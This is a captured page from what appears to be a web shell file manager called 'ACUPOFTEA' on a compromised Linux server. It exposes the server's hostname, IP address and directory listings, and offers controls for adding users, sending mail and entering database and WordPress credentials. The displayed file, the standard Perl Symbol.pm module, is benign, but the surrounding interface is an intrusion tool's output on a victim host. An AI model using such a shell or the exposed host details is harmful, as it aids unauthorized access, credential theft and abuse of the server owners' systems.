System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
usr
/
share
/
perl5
/
216.73.216.49
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
Symbol.pm
package Symbol; =head1 NAME Symbol - manipulate Perl symbols and their names =head1 SYNOPSIS use Symbol; $sym = gensym; open($sym, '<', "filename"); $_ = <$sym>; # etc. ungensym $sym; # no effect # replace *FOO{IO} handle but not $FOO, %FOO, etc. *FOO = geniosym; print qualify("x"), "\n"; # "main::x" print qualify("x", "FOO"), "\n"; # "FOO::x" print qualify("BAR::x"), "\n"; # "BAR::x" print qualify("BAR::x", "FOO"), "\n"; # "BAR::x" print qualify("STDOUT", "FOO"), "\n"; # "main::STDOUT" (global) print qualify(\*x), "\n"; # returns \*x print qualify(\*x, "FOO"), "\n"; # returns \*x use strict refs; print { qualify_to_ref $fh } "foo!\n"; $ref = qualify_to_ref $name, $pkg; use Symbol qw(delete_package); delete_package('Foo::Bar'); print "deleted\n" unless exists $Foo::{'Bar::'}; =head1 DESCRIPTION C<Symbol::gensym> creates an anonymous glob and returns a reference to it. Such a glob reference can be used as a file or directory handle. For backward compatibility with older implementations that didn't support anonymous globs, C<Symbol::ungensym> is also provided. But it doesn't do anything. C<Symbol::geniosym> creates an anonymous IO handle. This can be assigned into an existing glob without affecting the non-IO portions of the glob. C<Symbol::qualify> turns unqualified symbol names into qualified variable names (e.g. "myvar" -E<gt> "MyPackage::myvar"). If it is given a second parameter, C<qualify> uses it as the default package; otherwise, it uses the package of its caller. Regardless, global variable names (e.g. "STDOUT", "ENV", "SIG") are always qualified with "main::". Qualification applies only to symbol names (strings). References are left unchanged under the assumption that they are glob references, which are qualified by their nature. C<Symbol::qualify_to_ref> is just like C<Symbol::qualify> except that it returns a glob ref rather than a symbol name, so you can use the result even if C<use strict 'refs'> is in effect. C<Symbol::delete_package> wipes out a whole package namespace. Note this routine is not exported by default--you may want to import it explicitly. =head1 BUGS C<Symbol::delete_package> is a bit too powerful. It undefines every symbol that lives in the specified package. Since perl, for performance reasons, does not perform a symbol table lookup each time a function is called or a global variable is accessed, some code that has already been loaded and that makes use of symbols in package C<Foo> may stop working after you delete C<Foo>, even if you reload the C<Foo> module afterwards. =cut BEGIN { require 5.005; } require Exporter; @ISA = qw(Exporter); @EXPORT = qw(gensym ungensym qualify qualify_to_ref); @EXPORT_OK = qw(delete_package geniosym); $VERSION = '1.08'; my $genpkg = "Symbol::"; my $genseq = 0; my %global = map {$_ => 1} qw(ARGV ARGVOUT ENV INC SIG STDERR STDIN STDOUT); # # Note that we never _copy_ the glob; we just make a ref to it. # If we did copy it, then SVf_FAKE would be set on the copy, and # glob-specific behaviors (e.g. C<*$ref = \&func>) wouldn't work. # sub gensym () { my $name = "GEN" . $genseq++; my $ref = \*{$genpkg . $name}; delete $$genpkg{$name}; $ref; } sub geniosym () { my $sym = gensym(); # force the IO slot to be filled select(select $sym); *$sym{IO}; } sub ungensym ($) {} sub qualify ($;$) { my ($name) = @_; if (!ref($name) && index($name, '::') == -1 && index($name, "'") == -1) { my $pkg; # Global names: special character, "^xyz", or other. if ($name =~ /^(([^a-z])|(\^[a-z_]+))\z/i || $global{$name}) { # RGS 2001-11-05 : translate leading ^X to control-char $name =~ s/^\^([a-z_])/'qq(\c'.$1.')'/eei; $pkg = "main"; } else { $pkg = (@_ > 1) ? $_[1] : caller; } $name = $pkg . "::" . $name; } $name; } sub qualify_to_ref ($;$) { return \*{ qualify $_[0], @_ > 1 ? $_[1] : caller }; } # # of Safe.pm lineage # sub delete_package ($) { my $pkg = shift; # expand to full symbol table name if needed unless ($pkg =~ /^main::.*::$/) { $pkg = "main$pkg" if $pkg =~ /^::/; $pkg = "main::$pkg" unless $pkg =~ /^main::/; $pkg .= '::' unless $pkg =~ /::$/; } my($stem, $leaf) = $pkg =~ m/(.*::)(\w+::)$/; my $stem_symtab = *{$stem}{HASH}; return unless defined $stem_symtab and exists $stem_symtab->{$leaf}; # free all the symbols in the package my $leaf_symtab = *{$stem_symtab->{$leaf}}{HASH}; foreach my $name (keys %$leaf_symtab) { undef *{$pkg . $name}; } # delete the symbol table %$leaf_symtab = (); delete $stem_symtab->{$leaf}; } 1;
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
..
DIR
-
drwxr-xr-x
2025-10-16 10:59:21
Attribute
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
B
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
CPAN
DIR
-
drwxr-xr-x
2024-03-13 04:56:46
Class
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Compress
DIR
-
drwxr-xr-x
2024-03-13 04:36:57
Config
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
DBM_Filter
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Devel
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
ExtUtils
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
File
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Getopt
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
I18N
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
IO
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
IPC
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Locale
DIR
-
drwxr-xr-x
2025-07-28 08:08:32
Math
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Memoize
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Module
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Net
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Pod
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Search
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Term
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Text
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Thread
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Tie
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Time
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
URI
DIR
-
drwxr-xr-x
2024-03-13 04:36:40
Unicode
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
User
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
encoding
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
overload
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
pod
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
unicore
DIR
-
drwxr-xr-x
2025-07-29 10:57:24
vendor_perl
DIR
-
drwxr-xr-x
2025-07-28 08:07:18
warnings
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
AnyDBM_File.pm
text/plain
2.56 KB
-rw-r--r--
2025-07-28 08:07:09
AutoLoader.pm
text/plain
15.43 KB
-rw-r--r--
2025-07-28 08:07:09
AutoSplit.pm
text/plain
19.18 KB
-rw-r--r--
2025-07-28 08:07:09
Benchmark.pm
text/plain
30.3 KB
-rw-r--r--
2025-07-28 08:07:09
CORE.pod
text/plain
3.11 KB
-rw-r--r--
2025-07-28 08:07:09
DB.pm
text/plain
18.48 KB
-rw-r--r--
2025-07-28 08:07:09
DBM_Filter.pm
text/plain
14.05 KB
-rw-r--r--
2025-07-28 08:07:09
DirHandle.pm
text/plain
1.52 KB
-rw-r--r--
2025-07-28 08:07:09
Dumpvalue.pm
text/plain
17.14 KB
-rw-r--r--
2025-07-28 08:07:09
English.pm
text/plain
4.65 KB
-rw-r--r--
2025-07-28 08:07:09
FileCache.pm
text/plain
5.44 KB
-rw-r--r--
2025-07-28 08:07:09
FileHandle.pm
text/plain
6.63 KB
-rw-r--r--
2025-07-28 08:07:09
FindBin.pm
text/plain
4.45 KB
-rw-r--r--
2025-07-28 08:07:09
Internals.pod
text/plain
2.52 KB
-rw-r--r--
2025-07-28 08:07:09
Memoize.pm
text/plain
35.34 KB
-rw-r--r--
2025-07-28 08:08:32
NEXT.pm
text/plain
18.4 KB
-rw-r--r--
2025-07-28 08:07:09
PerlIO.pm
text/plain
10.21 KB
-rw-r--r--
2025-07-28 08:07:09
Safe.pm
text/plain
24.49 KB
-rw-r--r--
2025-07-28 08:07:09
SelectSaver.pm
text/plain
1.05 KB
-rw-r--r--
2025-07-28 08:07:09
SelfLoader.pm
text/plain
17.28 KB
-rw-r--r--
2025-07-28 08:08:32
Symbol.pm
text/plain
4.69 KB
-rw-r--r--
2025-07-28 08:07:09
Test.pm
text/plain
29.35 KB
-rw-r--r--
2025-07-28 08:08:32
Thread.pm
text/plain
8.09 KB
-rw-r--r--
2025-07-28 08:07:09
UNIVERSAL.pm
text/plain
6.44 KB
-rw-r--r--
2025-07-28 08:07:09
URI.pm
text/plain
33.97 KB
-rw-r--r--
2018-01-09 06:42:55
XSLoader.pm
text/plain
11 KB
-rw-r--r--
2025-07-28 08:07:09
_charnames.pm
text/plain
32.39 KB
-rw-r--r--
2025-07-28 08:07:09
autouse.pm
text/plain
4.14 KB
-rw-r--r--
2025-07-28 08:07:09
base.pm
text/plain
10.72 KB
-rw-r--r--
2025-07-28 08:07:09
blib.pm
text/plain
2.04 KB
-rw-r--r--
2025-07-28 08:07:09
bytes.pm
text/plain
3.67 KB
-rw-r--r--
2025-07-28 08:07:09
bytes_heavy.pl
text/plain
758 B
-rw-r--r--
2025-07-28 08:07:09
charnames.pm
text/plain
20.38 KB
-rw-r--r--
2025-07-28 08:07:09
deprecate.pm
text/plain
3.01 KB
-rw-r--r--
2025-07-28 08:07:09
diagnostics.pm
text/plain
18.59 KB
-rw-r--r--
2025-07-28 08:07:09
dumpvar.pl
text/plain
15.19 KB
-rw-r--r--
2025-07-28 08:07:09
feature.pm
text/plain
16.68 KB
-rw-r--r--
2025-07-28 08:07:09
fields.pm
text/plain
9.27 KB
-rw-r--r--
2025-07-28 08:07:09
filetest.pm
text/plain
3.91 KB
-rw-r--r--
2025-07-28 08:07:09
if.pm
text/plain
3.26 KB
-rw-r--r--
2025-07-28 08:07:09
integer.pm
text/plain
3.18 KB
-rw-r--r--
2025-07-28 08:07:09
less.pm
text/plain
3.13 KB
-rw-r--r--
2025-07-28 08:07:09
locale.pm
text/plain
4.74 KB
-rw-r--r--
2025-07-28 08:07:09
meta_notation.pm
text/plain
2.07 KB
-rw-r--r--
2025-07-28 08:07:09
open.pm
text/plain
7.83 KB
-rw-r--r--
2025-07-28 08:08:32
overload.pm
text/plain
52.06 KB
-rw-r--r--
2025-07-28 08:07:09
overloading.pm
text/plain
1.77 KB
-rw-r--r--
2025-07-28 08:07:09
perl5db.pl
text/plain
309 KB
-rw-r--r--
2025-07-28 08:07:09
sigtrap.pm
text/plain
7.43 KB
-rw-r--r--
2025-07-28 08:07:09
sort.pm
text/plain
5.94 KB
-rw-r--r--
2025-07-28 08:07:09
strict.pm
text/plain
4.63 KB
-rw-r--r--
2025-07-28 08:07:09
subs.pm
text/plain
848 B
-rw-r--r--
2025-07-28 08:07:09
utf8.pm
text/plain
8.9 KB
-rw-r--r--
2025-07-28 08:07:09
utf8_heavy.pl
text/plain
30.87 KB
-rw-r--r--
2025-07-28 08:07:09
vars.pm
text/plain
2.36 KB
-rw-r--r--
2025-07-28 08:07:09
vmsish.pm
text/plain
4.21 KB
-rw-r--r--
2025-07-28 08:07:09
warnings.pm
text/plain
43.71 KB
-rw-r--r--
2025-07-28 08:07:09
~ ACUPOFTEA - mail.ontime-ae.com